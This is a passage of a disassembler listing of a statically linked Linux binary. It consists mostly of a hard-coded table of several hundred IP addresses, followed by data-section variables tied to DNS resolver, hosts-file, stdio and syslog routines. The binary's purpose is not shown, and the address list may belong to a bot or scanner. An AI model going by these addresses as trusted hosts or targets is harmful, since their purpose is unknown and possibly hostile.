	  db 158, 52, 254, 4		; ip
	  db 158, 54, 106, 60		; ip
	  db 158, 57, 150, 68		; ip
	  db 158, 57, 45, 246		; ip
	  db 158, 59, 15, 120		; ip
	  db 158, 61, 127, 9		; ip
	  db 158, 64, 1, 14		; ip
	  db 158, 64, 1, 25		; ip
	  db 158, 65, 2	dup(8)		; ip
	  db 158, 71, 31, 200		; ip
	  db 158, 74, 132, 100		; ip
	  db 158, 75, 158, 75		; ip
	  db 158, 80, 1, 40		; ip
	  db 158, 83, 1, 56		; ip
	  db 158, 93, 1, 117		; ip
	  db 158, 94, 1, 5		; ip
	  db 158, 94, 88, 5		; ip
	  db 158, 96, 1, 4		; ip
	  db 158, 96, 1, 5		; ip
	  db 158, 97, 1, 33		; ip
	  db 159, 10, 4, 25		; ip
	  db 159, 105, 23, 130		; ip
	  db 159, 110, 252, 251		; ip
	  db 159, 113, 200, 3		; ip
	  db 159, 113, 200, 4		; ip
	  db 159, 115, 1, 10		; ip
	  db 159, 115, 1, 5		; ip
	  db 159, 116, 252, 3		; ip
	  db 159, 121, 107, 80		; ip
	  db 159, 121, 107, 82		; ip
	  db 159, 127, 161, 9		; ip
	  db 159, 134, 237, 6		; ip
	  db 159, 137, 146, 251		; ip
	  db 159, 140, 254, 60		; ip
	  db 159, 140, 254, 61		; ip
	  db 159, 142, 148, 200		; ip
	  db 159, 143, 1, 12		; ip
	  db 159, 145, 15, 201		; ip
	  db 159, 145, 15, 92		; ip
	  db 159, 148, 108, 1		; ip
	  db 159, 148, 60, 2		; ip
	  db 159, 149, 10, 1		; ip
	  db 159, 153, 89, 2		; ip
	  db 159, 164, 180, 5		; ip
	  db 159, 169, 223, 254		; ip
	  db 159, 182, 38, 1		; ip
	  db 159, 19, 5, 201		; ip
	  db 159, 19, 5, 202		; ip
	  db 159, 191, 7, 5		; ip
	  db 159, 196, 32, 2		; ip
	  db 159, 201, 17, 2		; ip
	  db 159, 204, 50, 4		; ip
	  db 159, 207, 200, 70		; ip
	  db 159, 211, 22, 250		; ip
	  db 159, 212, 70, 2		; ip
	  db 159, 213, 32, 232		; ip
	  db 159, 215, 19, 1		; ip
	  db 159, 218, 1, 100		; ip
	  db 159, 218, 1, 101		; ip
	  db 159, 225, 130, 1		; ip
	  db 159, 226, 2 dup(1)		; ip
	  db 159, 226, 1, 8		; ip
	  db 159, 230, 4, 2		; ip
	  db 159, 230, 4, 34		; ip
	  db 159, 233, 1, 2		; ip
	  db 159, 237, 6, 30		; ip
	  db 159, 238, 200, 2		; ip
	  db 159, 238, 5, 146		; ip
	  db 159, 238, 69, 2		; ip
	  db 159, 240, 191, 201		; ip
	  db 159, 242, 10, 100		; ip
	  db 159, 242, 10, 101		; ip
	  db 159, 247, 0, 198		; ip
	  db 159, 25, 20, 2		; ip
	  db 159, 28, 2	dup(1)		; ip
	  db 159, 31, 10, 2		; ip
	  db 159, 33, 1, 51		; ip
	  db 159, 37, 7, 95		; ip
	  db 159, 39, 16, 2		; ip
	  db 159, 40, 51, 13		; ip
	  db 159, 43, 254, 220		; ip
	  db 159, 48, 248, 2		; ip
	  db 159, 49, 254, 11		; ip
	  db 159, 50, 100, 5		; ip
	  db 159, 51, 238, 6		; ip
	  db 159, 62, 51, 20		; ip
	  db 159, 62, 51, 26		; ip
	  db 159, 66, 156, 21		; ip
	  db 159, 66, 156, 22		; ip
	  db 159, 67, 21, 14		; ip
	  db 159, 67, 21, 15		; ip
	  db 159, 69, 250, 254		; ip
	  db 159, 72, 248, 200		; ip
	  db 159, 75, 16, 1		; ip
	  db 159, 77, 149, 10		; ip
	  db 159, 83, 181, 4		; ip
	  db 159, 83, 181, 5		; ip
	  db 159, 84, 44, 31		; ip
	  db 159, 85, 176, 3		; ip
	  db 159, 87, 178, 129		; ip
	  db 159, 87, 179, 140		; ip
	  db 159, 90, 200, 7		; ip
	  db 159, 90, 200, 8		; ip
	  db 159, 91, 13, 135		; ip
	  db 159, 91, 15, 220		; ip
	  db 159, 91, 8, 25		; ip
	  db 159, 92, 16, 12		; ip
	  db 159, 92, 16, 13		; ip
	  db 159, 92, 16, 9		; ip
	  db 159, 93, 17, 7		; ip
	  db 16, 1, 0, 18		; ip
	  db 16, 1, 0, 19		; ip
	  db 160, 2 dup(100), 25	; ip
	  db 160, 102, 2 dup(2)		; ip
	  db 160, 104, 128, 10		; ip
	  db 160, 11, 5, 14		; ip
	  db 160, 111, 2, 1		; ip
	  db 160, 12, 128, 3		; ip
	  db 160, 12, 128, 6		; ip
	  db 160, 124, 2, 5		; ip
	  db 160, 124, 4, 1		; ip
	  db 160, 125, 210, 183		; ip
	  db 160, 125, 255, 140		; ip
	  db 160, 126, 0, 18		; ip
	  db 160, 126, 0, 19		; ip
	  db 160, 137, 1, 5		; ip
	  db 160, 137, 200, 5		; ip
	  db 160, 15, 14, 50		; ip
	  db 160, 18, 2, 130		; ip
	  db 160, 185, 1, 21		; ip
	  db 160, 186, 100, 1		; ip
	  db 160, 190, 10, 1		; ip
	  db 160, 190, 239, 1		; ip
	  db 160, 192, 2 dup(1)		; ip
	  db 160, 193, 8, 1		; ip
	  db 160, 194, 1, 8		; ip
	  db 160, 197, 1, 11		; ip
	  db 160, 198, 6, 18		; ip
	  db 160, 199, 8, 20		; ip
	  db 160, 201, 129, 254		; ip
	  db 160, 202, 2, 10		; ip
	  db 160, 204, 250, 3		; ip
	  db 160, 212, 52, 254		; ip
	  db 160, 216, 2 dup(1)		; ip
	  db 160, 216, 1, 3		; ip
	  db 160, 217, 1, 10		; ip
	  db 160, 218, 43, 201		; ip
	  db 160, 220, 137, 2		; ip
	  db 160, 227, 16, 1		; ip
	  db 160, 228, 120, 190		; ip
	  db 160, 228, 120, 192		; ip
	  db 160, 23, 220, 1		; ip
	  db 160, 230, 1, 130		; ip
	  db 160, 230, 9, 2		; ip
	  db 160, 237, 10, 245		; ip
	  db 160, 238, 56, 1		; ip
	  db 160, 239, 1, 10		; ip
	  db 160, 239, 2 dup(10)	; ip
	  db 160, 24, 251, 1		; ip
	  db 160, 240, 112, 11		; ip
	  db 160, 243, 140, 1		; ip
	  db 160, 244, 12, 10		; ip
	  db 160, 245, 112, 1		; ip
	  db 160, 247, 3, 2		; ip
	  db 160, 248, 254, 200		; ip
	  db 160, 250, 2 dup(1)		; ip
	  db 160, 251, 17, 2		; ip
	  db 160, 252, 129, 2		; ip
	  db 160, 252, 68, 9		; ip
	  db 160, 253, 4, 201		; ip
	  db 160, 26, 2	dup(1)		; ip
	  db 160, 27, 108, 12		; ip
	  db 160, 28, 2	dup(10)		; ip
	  db 160, 28, 10, 8		; ip
	  db 160, 29, 227, 10		; ip
	  db 160, 29, 227, 2		; ip
	  db 160, 30, 0, 2		; ip
	  db 160, 32, 72, 19		; ip
	  db 160, 36, 0, 66		; ip
	  db 160, 40, 1, 2		; ip
	  db 160, 42, 128, 3		; ip
	  db 160, 45, 10, 12		; ip
	  db 160, 45, 24, 21		; ip
	  db 160, 45, 2	dup(8)		; ip
	  db 160, 5, 40, 1		; ip
	  db 160, 5, 40, 4		; ip
	  db 160, 53, 75, 22		; ip
	  db 160, 53, 75, 25		; ip
	  db 160, 6, 1,	2		; ip
	  db 160, 68, 119, 50		; ip
	  db 160, 69, 1, 132		; ip
	  db 160, 7, 1,	2		; ip
	  db 160, 71, 88, 33		; ip
	  db 160, 75, 2, 20		; ip
	  db 160, 78, 48, 10		; ip
	  db 160, 79, 5, 130		; ip
	  db 160, 79, 6, 130		; ip
	  db 160, 80, 1, 8		; ip
	  db 160, 80, 2, 5		; ip
	  db 160, 85, 128, 2		; ip
	  db 160, 87, 1, 3		; ip
	  db 160, 87, 1, 5		; ip
	  db 160, 9, 128, 1		; ip
	  db 160, 9, 128, 2		; ip
	  db 160, 92, 120, 1		; ip
	  db 160, 92, 120, 2		; ip
	  db 160, 96, 179, 134		; ip
	  db 160, 96, 179, 4		; ip
	  db 160, 97, 4, 1		; ip
	  db 160, 97, 7, 13		; ip
	  db 160, 98, 2, 254		; ip
	  db 160, 98, 20, 2		; ip
	  db 160, 99, 2	dup(1)		; ip
	  db 161, 109, 128, 2		; ip
	  db 161, 11, 3, 8		; ip
	  db 161, 110, 1, 8		; ip
	  db 161, 110, 13, 1		; ip
	  db 161, 111, 10, 3		; ip
	  db 161, 112, 232, 21		; ip
	  db 161, 112, 232, 34		; ip
	  db 161, 114, 1, 204		; ip
	  db 161, 114, 192, 199		; ip
	  db 161, 114, 64, 24		; ip
	  db 161, 115, 144, 9		; ip
	  db 161, 115, 147, 1		; ip
	  db 161, 116, 2 dup(1)		; ip
	  db 161, 116, 93, 1		; ip
	  db 161, 119, 51, 129		; ip
	  db 161, 122, 12, 3		; ip
	  db 161, 124, 13, 1		; ip
	  db 161, 13, 1, 2		; ip
	  db 161, 130, 112, 208		; ip
	  db 161, 130, 224, 3		; ip
	  db 161, 133, 129, 3		; ip
	  db 161, 134, 1, 4		; ip
	  db 161, 136, 16, 8		; ip
	  db 161, 136, 66, 15		; ip
	  db 161, 139, 16, 2		; ip
	  db 161, 139, 2 dup(168)	; ip
	  db 161, 142, 2, 17		; ip
	  db 161, 142, 227, 17		; ip
	  db 161, 148, 1, 8		; ip
	  db 161, 149, 63, 1		; ip
	  db 161, 15, 35, 124		; ip
	  db 161, 15, 35, 125		; ip
	  db 161, 150, 129, 252		; ip
	  db 161, 150, 129, 253		; ip
	  db 161, 155, 110, 2		; ip
	  db 161, 155, 110, 3		; ip
	  db 161, 159, 6, 4		; ip
	  db 161, 165, 192, 124		; ip
	  db 161, 165, 192, 125		; ip
	  db 161, 165, 192, 60		; ip
	  db 161, 165, 192, 61		; ip
	  db 161, 188, 250, 1		; ip
	  db 161, 188, 250, 2		; ip
	  db 161, 195, 65, 3		; ip
	  db 161, 200, 192, 200		; ip
	  db 161, 200, 192, 4		; ip
	  db 161, 207, 2 dup(1)		; ip
	  db 161, 210, 214, 101		; ip
	  db 161, 210, 216, 100		; ip
	  db 161, 210, 216, 101		; ip
	  db 161, 211, 142, 221		; ip
	  db 161, 213, 144, 10		; ip
	  db 161, 213, 144, 11		; ip
	  db 161, 215, 19, 154		; ip
	  db 161, 216, 124, 2		; ip
	  db 161, 22, 252, 5		; ip
	  db 161, 223, 1, 2		; ip
	  db 161, 226, 4, 25		; ip
	  db 161, 231, 249, 9		; ip
	  db 161, 232, 1, 34		; ip
	  db 161, 24, 23, 2		; ip
	  db 161, 24, 254, 29		; ip
	  db 161, 242, 148, 30		; ip
	  db 161, 242, 3, 30		; ip
	  db 161, 243, 254, 20		; ip
	  db 161, 243, 3, 212		; ip
	  db 161, 246, 52, 31		; ip
	  db 161, 253, 6, 2		; ip
	  db 161, 254, 6, 5		; ip
	  db 161, 254, 2 dup(6)		; ip
	  db 161, 26, 20, 1		; ip
	  db 161, 28, 224, 10		; ip
	  db 161, 3, 1,	11		; ip
	  db 161, 30, 211, 130		; ip
	  db 161, 31, 208, 12		; ip
	  db 161, 32, 17, 3		; ip
	  db 161, 33, 3, 1		; ip
	  db 161, 4, 81, 11		; ip
	  db 161, 40, 254, 10		; ip
	  db 161, 45, 193, 4		; ip
	  db 161, 45, 25, 37		; ip
	  db 161, 45, 64, 1		; ip
	  db 161, 5, 2 dup(1)		; ip
	  db 161, 5, 1,	3		; ip
	  db 161, 50, 48, 2		; ip
	  db 161, 50, 48, 3		; ip
	  db 161, 53, 3, 7		; ip
	  db 161, 54, 134, 253		; ip
	  db 161, 55, 124, 2		; ip
	  db 161, 55, 32, 3		; ip
	  db 161, 57, 5, 2		; ip
	  db 161, 57, 5, 3		; ip
	  db 161, 58, 134, 114		; ip
	  db 161, 58, 134, 98		; ip
	  db 161, 58, 158, 45		; ip
	  db 161, 58, 160, 22		; ip
	  db 161, 58, 160, 9		; ip
	  db 161, 58, 9, 10		; ip
	  db 161, 58, 9, 31		; ip
	  db 161, 6, 18, 1		; ip
	  db 161, 6, 18, 7		; ip
	  db 161, 64, 3, 1		; ip
	  db 161, 64, 3, 2		; ip
	  db 161, 66, 1, 20		; ip
	  db 161, 66, 241, 4		; ip
	  db 161, 7, 38, 10		; ip
	  db 161, 7, 38, 11		; ip
	  db 161, 71, 169, 3		; ip
	  db 161, 71, 171, 250		; ip
	  db 161, 73, 2	dup(1)		; ip
	  db 161, 74, 92, 10		; ip
	  db 161, 76, 9, 1		; ip
	  db 161, 98, 70, 246		; ip
	  db 161, 98, 70, 247		; ip
	  db 162, 1, 2,	66		; ip
	  db 162, 105, 129, 27		; ip
	  db 162, 106, 7, 5		; ip
	  db 162, 107, 240, 130		; ip
	  db 162, 112, 18, 29		; ip
	  db 162, 114, 24, 90		; ip
	  db 162, 114, 248, 1		; ip
	  db 162, 114, 248, 2		; ip
	  db 162, 116, 29, 100		; ip
	  db 162, 117, 162, 75		; ip
	  db 162, 119, 233, 5		; ip
	  db 162, 119, 241, 5		; ip
	  db 162, 121, 244, 2		; ip
	  db 162, 126, 2 dup(3)		; ip
	  db 162, 126, 4, 37		; ip
	  db 162, 129, 20, 10		; ip
	  db 162, 139, 13, 2		; ip
	  db 162, 140, 64, 100		; ip
	  db 162, 15, 7, 1		; ip
	  db 162, 18, 75, 8		; ip
	  db 162, 2, 111, 210		; ip
	  db 162, 24, 9, 210		; ip
	  db 162, 24, 9, 254		; ip
	  db 162, 38, 101, 51		; ip
	  db 162, 39, 164, 11		; ip
	  db 162, 42, 150, 33		; ip
	  db 162, 44, 245, 2		; ip
	  db 162, 47, 167, 66		; ip
	  db 162, 47, 167, 67		; ip
	  db 162, 48, 254, 10		; ip
	  db 162, 50, 1, 2		; ip
	  db 162, 57, 10, 1		; ip
	  db 162, 57, 10, 3		; ip
	  db 162, 58, 35, 104		; ip
	  db 162, 6, 217, 1		; ip
	  db 162, 66, 204, 124		; ip
	  db 162, 66, 204, 125		; ip
	  db 162, 70, 244, 20		; ip
	  db 162, 74, 99, 52		; ip
	  db 162, 75, 1, 14		; ip
	  db 162, 79, 3, 2		; ip
	  db 162, 79, 3, 5		; ip
	  db 162, 80, 26, 17		; ip
	  db 162, 89, 0, 12		; ip
	  db 162, 94, 28, 251		; ip
	  db 162, 96, 6, 12		; ip
	  db 162, 96, 6, 15		; ip
	  db 162, 99, 3, 20		; ip
	  db 163, 10, 0, 67		; ip
	  db 163, 117, 131, 31		; ip
	  db 163, 118, 5, 1		; ip
	  db 163, 119, 254, 3		; ip
	  db 163, 119, 254, 7		; ip
	  db 163, 12, 5, 53		; ip
	  db 163, 120, 2 dup(1)		; ip
	  db 163, 121, 2 dup(2)		; ip
	  db 163, 125, 2 dup(1)		; ip
	  db 163, 125, 1, 2		; ip
	  db 163, 126, 64, 4		; ip
	  db 163, 129, 254, 12		; ip
	  db 163, 13, 1, 60		; ip
	  db 163, 134, 32, 201		; ip
	  db 163, 135, 193, 232		; ip
	  db 163, 136, 10, 22		; ip
	  db 163, 136, 10, 23		; ip
	  db 163, 138, 3, 31		; ip
	  db 163, 138, 3, 32		; ip
	  db 163, 138, 78, 31		; ip
	  db 163, 138, 78, 32		; ip
	  db 163, 139, 201, 1		; ip
	  db 163, 139, 201, 2		; ip
	  db 163, 139, 201, 36		; ip
	  db 163, 139, 230, 164		; ip
	  db 163, 139, 230, 165		; ip
	  db 163, 140, 4, 3		; ip
	  db 163, 142, 100, 129		; ip
	  db 163, 142, 60, 4		; ip
	  db 163, 143, 181, 50		; ip
	  db 163, 143, 181, 51		; ip
	  db 163, 145, 96, 2		; ip
	  db 163, 148, 3, 1		; ip
	  db 163, 150, 2 dup(1)		; ip
	  db 163, 151, 33, 144		; ip
	  db 163, 151, 33, 145		; ip
	  db 163, 152, 2 dup(1)		; ip
	  db 163, 153, 2 dup(2)		; ip
	  db 163, 153, 4, 165		; ip
	  db 163, 16, 1, 12		; ip
	  db 163, 160, 252, 16		; ip
	  db 163, 162, 4, 1		; ip
	  db 163, 166, 154, 10		; ip
	  db 163, 166, 154, 9		; ip
	  db 163, 167, 80, 15		; ip
	  db 163, 167, 80, 30		; ip
	  db 163, 168, 212, 252		; ip
	  db 163, 17, 188, 1		; ip
	  db 163, 173, 128, 6		; ip
	  db 163, 176, 4, 10		; ip
	  db 163, 178, 8, 2		; ip
	  db 163, 180, 16, 53		; ip
	  db 163, 180, 97, 54		; ip
	  db 163, 185, 18, 1		; ip
	  db 163, 185, 18, 24		; ip
	  db 163, 189, 7, 36		; ip
	  db 163, 19, 234, 1		; ip
	  db 163, 191, 183, 99		; ip
	  db 163, 192, 1, 10		; ip
	  db 163, 195, 1, 153		; ip
	  db 163, 195, 1, 237		; ip
	  db 163, 20, 157, 2		; ip
	  db 163, 20, 163, 5		; ip
	  db 163, 200, 97, 1		; ip
	  db 163, 207, 1, 60		; ip
	  db 163, 207, 1, 61		; ip
	  db 163, 209, 1, 5		; ip
	  db 163, 209, 73, 13		; ip
	  db 163, 21, 236, 5		; ip
	  db 163, 21, 236, 7		; ip
	  db 163, 210, 10, 12		; ip
	  db 163, 212, 32, 3		; ip
	  db 163, 212, 32, 4		; ip
	  db 163, 214, 53, 3		; ip
	  db 163, 215, 3, 9		; ip
	  db 163, 22, 165, 1		; ip
	  db 163, 221, 80, 13		; ip
	  db 163, 223, 0, 1		; ip
	  db 163, 224, 250, 132		; ip
	  db 163, 225, 10, 2		; ip
	  db 163, 225, 10, 8		; ip
	  db 163, 226, 2, 10		; ip
	  db 163, 226, 6, 7		; ip
	  db 163, 23, 148, 1		; ip
	  db 163, 23, 184, 11		; ip
	  db 163, 230, 254, 200		; ip
	  db 163, 231, 229, 1		; ip
	  db 163, 231, 245, 1		; ip
	  db 163, 233, 3, 20		; ip
	  db 163, 234, 20, 17		; ip
	  db 163, 239, 2 dup(1)		; ip
	  db 163, 24, 163, 1		; ip
	  db 163, 24, 239, 1		; ip
	  db 163, 242, 224, 66		; ip
	  db 163, 245, 2 dup(1)		; ip
	  db 163, 246, 16, 100		; ip
	  db 163, 246, 32, 100		; ip
	  db 163, 246, 48, 100		; ip
	  db 163, 246, 5, 100		; ip
	  db 163, 246, 96, 100		; ip
	  db 163, 247, 54, 111		; ip
	  db 163, 248, 35, 5		; ip
	  db 163, 251, 0, 2		; ip
	  db 163, 252, 95, 1		; ip
	  db 163, 27, 120, 1		; ip
	  db 163, 27, 15, 1		; ip
	  db 163, 28, 1, 101		; ip
	  db 163, 28, 1, 2		; ip
	  db 163, 28, 112, 1		; ip
	  db 163, 28, 113, 1		; ip
	  db 163, 28, 129, 1		; ip
	  db 163, 28, 96, 1		; ip
	  db 163, 29, 175, 200		; ip
	  db 163, 29, 231, 1		; ip
	  db 163, 3, 253, 18		; ip
	  db 163, 40, 11, 57		; ip
	  db 163, 41, 62, 12		; ip
	  db 163, 42, 90, 1		; ip
	  db 163, 44, 224, 1		; ip
	  db 163, 46, 8, 21		; ip
	  db 163, 46, 8, 22		; ip
	  db 163, 47, 20, 1		; ip
	  db 163, 47, 20, 2		; ip
	  db 163, 48, 2	dup(1)		; ip
	  db 163, 48, 1, 2		; ip
	  db 163, 51, 2, 199		; ip
	  db 163, 54, 68, 1		; ip
	  db 163, 61, 224, 1		; ip
	  db 163, 7, 2,	29		; ip
	  db 163, 9, 1,	2		; ip
	  db 164, 10, 27, 170		; ip
	  db 164, 10, 32, 65		; ip
	  db 164, 100, 3, 1		; ip
	  db 164, 102, 1, 2		; ip
	  db 164, 104, 1, 27		; ip
	  db 164, 104, 1, 29		; ip
	  db 164, 105, 118, 11		; ip
	  db 164, 105, 86, 41		; ip
	  db 164, 106, 2 dup(1)		; ip
	  db 164, 106, 2, 1		; ip
	  db 164, 109, 1, 3		; ip
	  db 164, 109, 10, 23		; ip
	  db 164, 11, 100, 10		; ip
	  db 164, 110, 100, 179		; ip
	  db 164, 112, 249, 1		; ip
	  db 164, 113, 192, 242		; ip
	  db 164, 113, 238, 2		; ip
	  db 164, 113, 92, 250		; ip
	  db 164, 114, 128, 2		; ip
	  db 164, 114, 128, 3		; ip
	  db 164, 117, 144, 1		; ip
	  db 164, 119, 2 dup(1)		; ip
	  db 164, 122, 7, 32		; ip
	  db 164, 124, 101, 31		; ip
	  db 164, 125, 9, 2		; ip
	  db 164, 128, 36, 34		; ip
	  db 164, 128, 76, 39		; ip
	  db 164, 129, 1, 37		; ip
	  db 164, 14, 130, 66		; ip
	  db 164, 14, 130, 99		; ip
	  db 164, 145, 121, 46		; ip
	  db 164, 15, 59, 200		; ip
	  db 164, 153, 10, 15		; ip
	  db 164, 153, 10, 3		; ip
	  db 164, 154, 2 dup(2)		; ip
	  db 164, 156, 27, 2		; ip
	  db 164, 156, 27, 5		; ip
	  db 164, 158, 250, 2		; ip
	  db 164, 158, 250, 3		; ip
	  db 164, 161, 40, 101		; ip
	  db 164, 161, 8, 1		; ip
	  db 164, 163, 2 dup(1)		; ip
	  db 2 dup(164), 4, 5		; ip
	  db 164, 165, 67, 98		; ip
	  db 164, 165, 67, 99		; ip
	  db 164, 167, 138, 20		; ip
	  db 164, 190, 200, 3		; ip
	  db 164, 195, 124, 1		; ip
	  db 164, 195, 124, 3		; ip
	  db 164, 2, 255, 241		; ip
	  db 164, 214, 2, 80		; ip
	  db 164, 218, 2, 10		; ip
	  db 164, 220, 194, 20		; ip
	  db 164, 223, 1, 73		; ip
	  db 164, 223, 1, 91		; ip
	  db 164, 224, 250, 86		; ip
	  db 164, 229, 232, 2		; ip
	  db 164, 229, 232, 3		; ip
	  db 164, 230, 99, 2		; ip
	  db 164, 230, 99, 3		; ip
	  db 164, 231, 98, 4		; ip
	  db 164, 3, 185, 5		; ip
	  db 164, 3, 195, 5		; ip
	  db 164, 35, 153, 100		; ip
	  db 164, 36, 164, 20		; ip
	  db 164, 38, 184, 2		; ip
	  db 164, 39, 8, 56		; ip
	  db 164, 4, 17, 7		; ip
	  db 164, 41, 101, 4		; ip
	  db 164, 42, 100, 2		; ip
	  db 164, 43, 127, 1		; ip
	  db 164, 45, 2, 150		; ip
	  db 164, 46, 2	dup(1)		; ip
	  db 164, 47, 194, 62		; ip
	  db 164, 57, 13, 11		; ip
	  db 164, 57, 13, 9		; ip
	  db 164, 58, 233, 202		; ip
	  db 164, 58, 253, 10		; ip
	  db 164, 58, 253, 4		; ip
	  db 164, 62, 7, 21		; ip
	  db 164, 62, 7, 22		; ip
.ERROR 'too many lines (more than MAX_ITEM_LINES=5000)'
dword_80784F4 dd 0			; DATA XREF: _setenv+13Cr _setenv+145r ...
dword_80784F8 dd 0			; DATA XREF: sub_804A9D8+E0Fw
					; _gethostent+6r ...
aEtcHosts db '/etc/hosts',0             ; DATA XREF: __sethtent+11o
					; __gethtent+13o
	  align	4
; FILE *dword_8078508
dword_8078508 dd 0			; DATA XREF: __sethtent+3r
					; __sethtent+1Bw ...
dword_807850C dd 0			; DATA XREF: __sethtent+32w
					; __endhtent+Cr
dword_8078510 dd 0			; DATA XREF: sub_804A9D8+45Aw
					; sub_804A9D8+4A7w ...
dword_8078514 dd 0			; DATA XREF: sub_804A9D8+59Ew
					; sub_804A9D8+5EBw ...
dword_8078518 dd 0			; DATA XREF: sub_804A9D8+6E2w
					; sub_804A9D8+72Fw ...
dword_807851C dd 0			; DATA XREF: sub_804A9D8+826w
					; sub_804A9D8+873w ...
dword_8078520 dd 0			; DATA XREF: sub_804A4F4+Br
					; sub_804A4F4+78r ...
dword_8078524 dd 0FFFFFFFFh		; DATA XREF: sub_804A5CC+Cr
					; sub_804A5CC+23r ...
dword_8078528 dd 1			; DATA XREF: sub_804C9E4+60r
					; sub_804C9E4+8Ew
dword_807852C dd 0			; DATA XREF: sub_804C9E4+Fr
					; sub_804C9E4+18o ...
; unsigned int fd
fd	  dd 0FFFFFFFFh			; DATA XREF: _res_send+1C2r
					; _res_send+1D8r ...
dword_8078534 dd 0			; DATA XREF: _res_send+4EFw
					; _res_send+517r ...
dword_8078538 dd 0			; DATA XREF: _res_send+1CBr
					; _res_send+270w ...
dword_807853C dd 0			; DATA XREF: _res_send_setqhook+6w
					; _res_send+10Cr ...
dword_8078540 dd 0			; DATA XREF: _res_send_setrhook+6w
					; _res_send+9D2r ...
dword_8078544 dd 0			; DATA XREF: _res_init+34r
					; _res_init+3Dw ...
dword_8078548 dd 0			; DATA XREF: _res_init+47r
					; _res_init+50w ...
dword_807854C dd 0			; DATA XREF: sub_804A9D8+1FCr
					; sub_804A9D8+AC6r ...
dword_8078550 dd 0			; DATA XREF: _res_init+9Ew
					; _res_init+663w ...
dword_8078554 dd 0			; DATA XREF: _res_init+8Cw
					; _res_init+43Aw ...
dword_8078558 dd 0			; DATA XREF: _res_init+82w
					; _res_init+434w ...
	  db 28h dup(0)
word_8078584 dw	0			; DATA XREF: _res_init+6Dr
					; _res_init+7Cw ...
	  align	4
dword_8078588 dd 0			; DATA XREF: _res_init+F2w
					; _res_init+322w ...
dword_807858C dd 0			; DATA XREF: _res_init+FCo
					; _res_init+32Co ...
	  db 10h dup(0)
unk_80785A0 db	  0 ;			; DATA XREF: _res_init+110o
					; _res_init+33Co
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
; char byte_80785A4
byte_80785A4 db	0			; DATA XREF: _res_init+DDo
					; _res_init+EDo ...
	  db 0FFh dup(0)
dword_80786A4 dd 0			; DATA XREF: _res_init+B6w
					; _res_send+8FAr ...
byte_80786A8 db	0			; DATA XREF: sub_804B800+635r
					; sub_804CBE4+33r ...
	  align	4
unk_80786AC db	  0 ;			; DATA XREF: sub_804CBE4+5Fr
					; sub_804CBE4+CBr ...
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
unk_80786B0 db	  0 ;			; DATA XREF: sub_804CBE4+59r
					; sub_804CBE4+C5r ...
	  db 4Bh dup(0)
unk_80786FC db	88h ; €			; DATA XREF: __IO_fclose+58o
	  db 20h, 0ADh,	0FBh, 4Ch dup(0), 2Ch, 90h, 7, 8
unk_8078750 db	84h ; „			; DATA XREF: _res_send+4Co
					; _res_send+56o ...
	  db 20h, 0ADh,	0FBh, 30h dup(0), 0FCh,	86h, 7,	8, 1, 17h dup(0)
	  db 2Ch, 90h, 7, 8
unk_80787A4 db	86h ; †			; DATA XREF: sub_804A9D8+2B2o
					; sub_804A9D8+2D8o ...
	  db 20h, 0ADh,	0FBh, 30h dup(0), 50h, 87h, 7, 8, 2, 17h dup(0)
	  db 2Ch, 90h, 7, 8
off_80787F8 dd offset unk_80787A4	; DATA XREF: __IO_un_link+Bo
					; __IO_un_link+10r ...
unk_80787FC db	  0 ;			; DATA XREF: __IO_vsprintf+1Ao
					; _vsnprintf+1Ao
	  db 0Bh dup(0), 0A8h, 31h, 5, 8, 4 dup(0), 58h, 2Fh, 5, 8, 4 dup(0)
	  db 78h, 30h, 5, 8, 5 dup(0), 1Ch, 6, 8, 4 dup(0), 80h, 31h, 5
	  db 8,	4 dup(0), 2Ch, 1Ch, 6, 8, 4 dup(0), 4Ch, 1Dh, 6, 8, 4 dup(0)
	  db 0E4h, 30h,	5, 8, 4	dup(0),	0C8h, 1Eh, 6, 8, 4 dup(0), 44h
	  db 1Eh, 6, 8,	4 dup(0), 0B4h,	1Fh, 6,	8, 4 dup(0), 0ECh, 1Eh
	  db 6,	8, 4 dup(0), 0B8h, 24h,	6, 8, 4	dup(0),	0C4h, 24h, 6, 8
	  db 4 dup(0), 0A0h, 24h, 6, 8,	4 dup(0), 0B4h,	1Fh, 6,	8, 4 dup(0)
	  db 0ACh, 24h,	6, 8
dword_807888C dd 0			; DATA XREF: __IO_vfprintf+2FF4r
					; __IO_vfprintf+300Er ...
dword_8078890 dd 806A9E4h		; DATA XREF: __IO_vfprintf+60Br
					; __IO_vfprintf+64Cr ...
; int s
s	  dd 0FFFFFFFFh			; DATA XREF: sub_8054E54+7r
					; sub_8054E54+12w ...
dword_8078898 dd 0			; DATA XREF: sub_8054E54+2Aw
					; _vsyslog+4Fr	...
; char *off_807889C
off_807889C dd offset aSyslog		; DATA XREF: sub_8054E54+34w
					; _vsyslog+57r	...
					; "syslog"
dword_80788A0 dd 8			; DATA XREF: sub_8054E54+3Ew
					; _vsyslog+6Dr	...
dword_80788A4 dd 0FFh			; DATA XREF: sub_8054E54+48w
					; _vsyslog+20r	...
dword_80788A8 dd 0			; DATA XREF: ___setstate+6Br
	  db 7,	3 dup(0), 0Fh, 3 dup(0), 1Fh, 3	dup(0),	3Fh, 3 dup(0)
dword_80788BC dd 0			; DATA XREF: ___setstate+77r
	  db 3,	3 dup(0), 1, 3 dup(0), 3, 3 dup(0), 1, 3 dup(0), 3, 3 dup(0)
	  db 25h, 0F6h,	38h, 0CDh, 0ECh, 91h, 63h, 0FDh, 7Ah, 64h, 4, 87h
	  db 0C6h, 5Fh,	0DDh, 52h, 5Ch,	0A0h, 7, 8Eh, 11h, 32h,	0Eh, 0E3h
	  db 0Ah, 0F7h,	68h, 75h, 9Bh, 74h, 33h, 0A1h, 0FFh, 19h, 20h
	  db 8Ch, 0B8h,	7, 2Dh,	1Bh, 0A0h, 0D3h, 47h, 1Eh, 85h,	51h, 0CEh
	  db 99h, 0A3h,	49h, 54h, 6Bh, 0D7h, 0F6h, 0E0h, 87h, 0D3h, 54h
	  db 4,	27h, 0E6h, 4Bh,	83h, 0BBh, 0D2h, 7Eh, 61h, 0A8h, 8, 4Ch
	  db 0DBh, 0BBh, 7Dh, 4Ah, 0FDh, 0B0h, 0A3h, 30h, 8Ah, 0A2h, 6
	  db 0CBh, 0, 4Ch, 2 dup(29h), 0CAh, 0DBh, 2Ah,	0B2h, 0B8h, 0F3h
	  db 38h, 7Dh, 0DBh, 9Ah, 1Fh, 59h, 0F1h, 58h, 18h, 7Eh, 0E8h
	  db 0A4h, 78h,	33h, 41h, 0C7h,	7Bh, 0D3h, 0BAh, 0F4h, 22h, 0EDh
